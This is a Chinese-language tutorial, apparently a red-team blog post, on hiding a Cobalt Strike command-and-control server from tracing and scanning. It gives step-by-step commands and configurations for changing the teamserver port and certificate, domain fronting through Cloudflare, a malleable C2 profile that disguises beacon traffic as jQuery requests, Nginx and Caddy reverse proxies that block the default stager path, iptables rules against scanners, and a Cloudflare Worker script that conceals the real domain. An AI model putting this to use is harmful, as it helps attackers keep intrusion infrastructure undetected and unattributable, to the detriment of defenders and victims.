APT級CS隱藏教程:使用反向代理、C2-Profile和CDN拉滿溯源難度
01 前言
這年頭打個紅隊都不容易,想普普通通上個線,除了ByPassAV以外,還要應付各種流量審計和設備和威脅情報,一不留神VPS就被扒光了。最近也是一直在倒騰,看了很多文章,但沒一個能完全滿足要求,或者是按著指示走著走著發現掉坑里了,嗯。
本文將通過各種手段一步步將C2的痕跡從網絡空間中抹除,并詳細記錄一下過程,確保人人都能學會。我也按照工作量的大小劃分了幾個檔位,可以按需選取方案。
02 我的環境
CS 4.3
centos 7
nginx/1.20.1
caddy v2.4.6
開始之前,想說明的是基本方案和普通方案都是網上一抓一大把,基本也都能成功。這里只是整合,以及介紹一些坑點。不會過多介紹原理,感謝師傅們的文章。
03 基本方案:更改端口與證書
更改端口
vim your_cs_path/teamserver
拉到最后可以看到啟動CS的命令,將這個命令的50050改掉,換成自己喜歡的端口:
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=2333 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Duser.language=en -javaagent:hook.jar -classpath ./cobaltstrike.jar server.TeamServer $*
更改證書
方法一:使用keytool(不推薦)
修改CS文件夾中的cobaltstrike.store,輸入如下命令后輸入密碼123456即可列出信息:
keytool -list -v -keystore cobaltstrike.store

我們可以使用如下命令對該keystore進行修改:
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias # -dname "CN=360, OU=#, O=Sofaware,L=Somewhere,ST=Cyberspace, C=CN" # 參數說明如下# -keytool -keystore cobaltstrike.store -storepass 密碼# -keypass 密碼# -genkey -keyalg RSA# -alias google.com -dname CN=(名字與姓氏),# OU=(組織單位名稱), O=(組織名稱),# L=(城市或區域名稱),# ST=(州或省份名稱),# C=(單位的兩字母國家代碼)。
再次查看,能夠發現特征已經被去除:

方法二:使用第三方提供的證書生成keystore(推薦)
這個會在下面的幾節中提到。
04 NEWS
普通方案使用Profile與CDN
域名申請(購買)與配置
免費的域名可以去Freenom 要一個,也可以去Godaddy花十多塊錢買一個。有了域名后直接接入Cloudflare,需要說明的是freenom的域名有的時候不能被Cloudflare識別,出現如下報錯:

遇到這種情況可以多申請幾個網站或者過一段時間再試試,反正也不花錢。
我遇到的情況是同一個免費域名,一開始接入Cloudflare的時候報如上錯誤,過了三天再嘗試接入就成功了。
接入后更改NS,按照Cloudflare的指示將域名的NS設置成Cloudflare的即可,這里不再贅述。

接入后配置一個DNS的A記錄,解析到VPS的IP,后續上線用。

Profile
Github上已經有非常多優秀的C2-Profile可以供我們使用了,我們需要使用Profile讓Beacon和Teamserver之間的交互看起來盡可能像正常的流量。
- https://github.com/rsmudge/Malleable-C2-Profiles
- https://github.com/threatexpress/malleable-c2
這里我使用的是后者jquery的profile。下載下來后需要根據我們的域名對Profile進行修改,以便能夠上線HTTP/HTTPS BEACON。需要修改的內容主要有四處,一個是https-certificate塊中更改keystore和密碼,keystore的生成馬上講:

另外三個是http-stager、http-get、http-post塊中的Host Header,Referer改不改可以隨意。



保存修改,然后準備我們的keystore。因為接入了CDN,所以證書我推薦直接使用Cloudflare提供的證書。CDN的坑會在下面講。當然要是沒有接入CDN的打算,可以使用letsencrypt這樣的免費證書。

使用默認配置生成證書和秘鑰后,復制粘貼到你的服務器上,這里我選擇的文件名是server.pem和server.key。

# 這里cdn.xxx.club是我的域名openssl pkcs12 -export -in server.pem -inkey server.key -out cdn.xxx.club.p12 -name cdn.xxx.club -passout pass:123456 keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cdn.xxx.club.store -srckeystore cdn.xxx.club.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias cdn.xxx.club
在生成keystore文件后將該文件放在CS的根目錄下,務必確保keystore文件名與密碼和https-certificate中設置的一致。
在一切準備就緒后可以使用CS自帶的c2lint對profile語法進行檢查,沒有報錯的話說明配置是ok的。
./c2lint jquery-c2.4.3.profile

CDN
CDN配置
Cloudflare默認的TLS配置為靈活,由于之前使用了Cloudflare給原服務器發的證書,我們可以改成完全(嚴格)提高安全性。

額外配置(坑)
其他的Profile我還沒測試過,但是應該都是通用的。
禁用緩存
在這個Profile中,我們請求的URI是以.js結尾的,Cloudflare作為一個CDN肯定要去緩存它,但這樣的話請求就無法到達我們的CS服務器,自然也就無法上線了。我們可以使用開發模式并清除緩存,但是開發模式只有3小時。

所以推薦的做法是創建Cloudflare規則,不代理js請求。


Profile微調
據說在4.0版本的CS中,如果不調整Profile是可以上線,但是執行命令沒有回顯。而在4.3版本的CS中,不動Profile是直接上不了線。
我們需要更改Profile中的響應頭配置,其中的header "Content-Type" "application/javascript; charset=utf-8";修改為:header "Content-Type" "application/*; charset=utf-8";即可正常執行命令回顯。這里還是CDN的問題,但它具體做了什么讓我們上不了線就不知道了。
測試
啟動teamserver,設置profile為我們修改好的profile
./teamserver your_ip your_pass jquery-c2.4.3.profile
在確保域名解析正確的情況下,此時HTTPS BEACON已經可以上線了,我們需要對CS的listener進行配置。填入三次你的域名,其他的默認就好。

生成beacon測試,成功上線:

補充1
有的師傅443端口是有用處的,需要改成其他的端口。這里需要注意的是免費版的Cloudflare對代理的端口有限制。我們只能成如下端口:
- http:80、8080、8880、2052、2082、2086、2095
- https:443、2053、2083、2087、2096、8443
補充2
以上針對的是https的beacon,http的話在DNS中加一個二級域名并使用該二級域名上線即可。不用額外再弄一個profile,因為http的beacon只看域名。 在http的raw payload中我們可以驗證這一點:

對比https的raw payload,它用上了我們之前配置的所有內容:

05 高級方案
反向代理與Cloudflare Workers
其實原本這一切就已經結束了。但是在我倒騰完的第n天早上收了一個郵件。大意是說我違反了政策,然后讓我去主機管理面板看細節。

細節的內容已經找不到了,但大體是說你的服務器與一個攻擊行為有關。然后給我丟了一個shodan的鏈接。我點進去一看,好家伙,給我分析得明明白白,直接扒光了。

我嘗試理解了一下發生了什么,發現無法理解。
然后查了一下資料,具體就是CS的stage馬上線時,默認會向一個符合checksum8規則的路徑發起請求,隨后服務器會響應各種Payload數據。checksum8規則路徑大概就長這樣:
/x9cI//fYKR//Mrm0//wQPD//yDHX//BCre//WHVh/
然后,雖然我們在Profile中配置了URI,但是默認的URI并沒有失效。該默認URI依舊可以執行下發任務,上線等一系列操作。我拿nmap腳本跑了一下,發現確實被扒光了。

解決方案的話也有,一個是用二進制手段對CS源碼進行改造。一個是使用反向代理服務器禁用這個checksum8規則路徑。由于不會二進制,這里我選擇第二種方案。
反向代理
反向代理選的套件看了看網上都是清一色的Nginx,不過這回為了兼容某些應用我使用了Caddy。Caddy的好處是配置簡單,不像Nginx的配置看起來頭大。不過我同樣對Nginx進行了測試,最后無論是Nginx還是Caddy都能成功上線。
Nginx
可以使用
https://github.com/threatexpress/cs2modrewrite 提供的腳本生成:
python3 ./cs2nginx.py -i havex.profile -c https://127.0.0.1:8443 -r https://www.baidu.com -H cdn.xxxx.club
對各個參數進行說明,如下
- -i 為模板文件,這個固定的,可以不用管。
- -c 為后端CS綁定的端口,這個會在后面CS的配置中有所體現
- -r 為不合要求的訪問302重定向去的位置,這里填了百度
- -H 為你的域名,這里就是你配的那個
在配置完后,需要配置ssl證書:
###################### SSL Configuration#####################listen 443 ssl;listen [::]:443 ssl;ssl on; ssl_certificate /root/tool/CS/https/server.pem; # 改這個ssl_certificate_key /root/tool/CS/https/server.key; # 改這個ssl_session_cache shared:le_nginx_SSL:1m; # managed by Certbotssl_session_timeout 1440m; # managed by Certbotssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # managed by Certbotssl_prefer_server_ciphers on; # managed by Certbot
同時的話還可以定制化處理location塊,使得只有指定URL才能訪問,保證了不會被掃到。指定User-Agent可以確保的都是Beacon而不是其他的奇怪的東西,有點白名單的意思了。
location ~ ^(/jquery-3\.3\.1\.slim\.min\.js|/jquery-3\.3\.2\.min\.js|/jquery-3\.3\.1\.min\.js|/jquery-3\.3\.2\.slim\.min\.js)$ { if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") { return 302 $REDIRECT_DOMAIN$request_uri; } proxy_pass $C2_SERVER;
# If you want to pass the C2 server's "Server" header through then uncomment this line # proxy_pass_header Server; expires off; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr;}
這里還要注意的是這里的Nginx宜以root權限運行,默認生成的文件是www-data用戶。使用該用戶可能會有權限問題,這也是大多數人使用反向代理后https無法上線的原因。當然最重要的還是要學會看Nginx錯誤日志,至少能定位到問題在哪:

當時我是報了一個(13: Permission denied) while reading upstream的錯誤,改成root運行Nginx后就好了,但現在重新用回www-data后也不報錯了。。 推測是某些臨時文件的屬主變了吧。
該配置經過測試能夠成功上線,CS配置如下。

Caddy
caddy的配置就簡單的多,這里直接貼配置文件。沒有Caddy可以裝一個:
yum install caddy
vim /etc/caddy/Caddyfile
cdn.xxxx.club { tls /root/tool/CS/https/server.pem /root/tool/CS/https/server.key reverse_proxy /jquery-3.3* https://127.0.0.1:8443 { transport http { tls tls_insecure_skip_verify } }}
這里說明一下各個主要指令的作用:
- 最外面的tls:啟用tls連接,這里的tls連接是指下游連接,即和Cloudflare的CDN服務器的連接。證書和秘鑰是Cloudflare給的那個。
- reverse_proxy:反向代理。
- 里面的tls:同樣是使用tls連接。
- tls_insecure_skip_verify:我們使用的生成keystore的證書同樣是Cloudflare簽發的那個,這里的tls連接是Caddy和CS服務器的連接,由于Cloudflare簽發的證書是不受(除Cloudflare以外的機構)信任的,亦即該證書在Caddy看來是不受信任的,連接是不安全的。我們需要加上tls_insecure_skip_verify指定,否則Caddy將在握手階段就終止該https連接。并報不受信任的證書錯誤。
2021/11/16 12:09:01.975 ERROR http.log.error x509: cannot validate certificate for 127.0.0.1 because it doesn't contain any IP SANs
該配置經過測試能夠成功上線。CS配置和nginx中所提到的相同。
配置Iptables
我們的listener監聽的是0.0.0.0,我們應該配置成只能讓反向代理套件訪問。否則像shodan這樣的搜索引擎或者我們自己拿nmap腳本去掃端口的話依舊能夠分析出beacon信息。可以使用如下命令配置iptables,要是云廠商提供防火墻的話也可以在那邊的防火墻進行配置。
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8443 -j ACCEPTiptables -A INPUT -p tcp --dport 8443 -j DROP iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8880 -j ACCEPTiptables -A INPUT -p tcp --dport 8880 -j DROP
現在再拿腳本進行測試的話,就發現掃不出任何東西了:

Cloudflare Workers
這個有點類似域前置,但是有域前置還是用域前置的好。使用Cloudflare Workers可以隱藏我們的真實域名。

申請好子域后創建服務:

創建好服務后點擊快速編輯:

并粘貼如下腳本:
let upstream = 'https://cdn.xxxx.club' # 這里寫你的域名
addEventListener('fetch', event => { event.respondWith(fetchAndApply(event.request));})
async function fetchAndApply(request) { const ipAddress = request.headers.get('cf-connecting-ip') || ''; let requestURL = new URL(request.url); let upstreamURL = new URL(upstream); requestURL.protocol = upstreamURL.protocol; requestURL.host = upstreamURL.host; requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers); new_request_headers.set("X-Forwarded-For", ipAddress); let fetchedResponse = await fetch( new Request(requestURL, { method: request.method, headers: new_request_headers, body: request.body }) ); let modifiedResponseHeaders = new Headers(fetchedResponse.headers); modifiedResponseHeaders.delete('set-cookie'); return new Response( fetchedResponse.body, { headers: modifiedResponseHeaders, status: fetchedResponse.status, statusText: fetchedResponse.statusText } );}
之后使用右側的域名替換CS中https beacon的三個域名即可:

經過測試能夠成功上線。
參考文獻:
1.Cobalt Strike去特征:配置Nginx反向代理、CDN與Cloudflare Worker
2.檢測與隱藏Cobaltstrike服務器